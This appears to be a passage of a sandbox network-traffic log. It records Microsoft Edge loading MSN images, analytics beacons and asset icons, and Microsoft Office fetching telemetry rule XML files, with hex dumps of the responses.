2024-11-22 22:06:40 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=115639 Expires: Sun, 24 Nov 2024 06:13:59 GMT Date: Fri, 22 Nov 2024 22:06:40 GMT Connection: close
2024-11-22 22:06:40 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49863	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:40 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:40 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=314452 Expires: Tue, 26 Nov 2024 13:27:32 GMT Date: Fri, 22 Nov 2024 22:06:40 GMT Connection: close
2024-11-22 22:06:40 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49866	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:40 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:40 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=213008 Expires: Mon, 25 Nov 2024 09:16:48 GMT Date: Fri, 22 Nov 2024 22:06:40 GMT Connection: close
2024-11-22 22:06:40 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49867	18.238.49.74	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:40 UTC	1012	OUT	GET /b2?rn=1732313197626&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1981927DEF30640D17DC8742EE526551&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=11Ebb78d014cdf6d9e000301732313198; XID=11Ebb78d014cdf6d9e000301732313198
2024-11-22 22:06:40 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Fri, 22 Nov 2024 22:06:40 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 9b2aa79b9573beef202ad020dc96008a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: RjCZzVVstqqMZXK3A4L7W__ynYMi2B0XFk4Wv8Zzvh-KrE3BfBjK6g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49868	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:41 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:41 UTC	523	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:41 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: ba0503ac-c01e-0053-172a-3d7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220641Z-178bfbc474bnwsh4hC1NYC2ubs00000003kg00000000mp05 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 22:06:41 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49869	13.107.246.40	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:41 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:42 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:41 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9d84fa81-201e-0034-192a-3dc7af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T220641Z-178bfbc474bpscmfhC1NYCfc2c000000023g00000000ksp0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 22:06:42 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:41 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:41 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: eb55dd92-f01e-0020-3d6a-3c956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220641Z-174c587ffdf89smkhC1TEB697s000000026g000000001umn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:41 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:42 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 9aadc8db-201e-000c-3931-3c79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220642Z-178bfbc474b7cbwqhC1NYC8z4n00000003cg00000000qaw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:42 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:41 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:42 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220642Z-174c587ffdfb74xqhC1TEBhabc000000024g000000000kxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:42 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:41 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:42 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220642Z-178bfbc474bpnd5vhC1NYC4vr400000003pg000000000kr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:42 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:42 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:42 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ecf1de78-401e-0047-5d4b-3c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220642Z-178bfbc474bmqmgjhC1NYCy16c00000003h000000000rf53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:42 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49880	23.96.180.189	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:42 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1981927DEF30640D17DC8742EE526551&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=990fd08334294cf2e73b1a231aa58534 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; 